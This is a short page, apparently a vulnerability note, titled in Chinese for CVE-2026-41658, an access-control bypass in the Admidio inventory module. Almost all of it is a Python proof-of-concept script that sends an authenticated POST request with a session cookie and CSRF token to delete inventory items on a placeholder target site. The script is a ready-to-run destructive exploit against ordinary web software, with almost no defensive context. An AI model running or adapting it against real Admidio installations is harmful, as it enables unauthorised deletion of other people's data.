CVE-2026-41658 Admidio库存模块权限绕过漏洞

import requests # CVE-2026-41658 PoC Concept # Target: Admidio < 5.0.9 # Description: Exploit access control bypass in inventory module to delete items. # Note: This requires a valid authenticated session (cookie) and CSRF token. target_url = "http://target-admidio-site/admidio/modules/inventory.php" session_cookie = "PHPSESSID=attacker_session_id" # Replace with valid session # Note: CSRF token needs to be extracted from the page or previous requests if enforced csrf_token = "valid_csrf_token_from_page" # Payload to delete an inventory item payload = { "mode": "delete", "item_id": "1", # The ID of the item to delete "csrf_token": csrf_token } headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("Request sent. Check if item was deleted.") else: print(f"Failed with status code: {response.status_code}")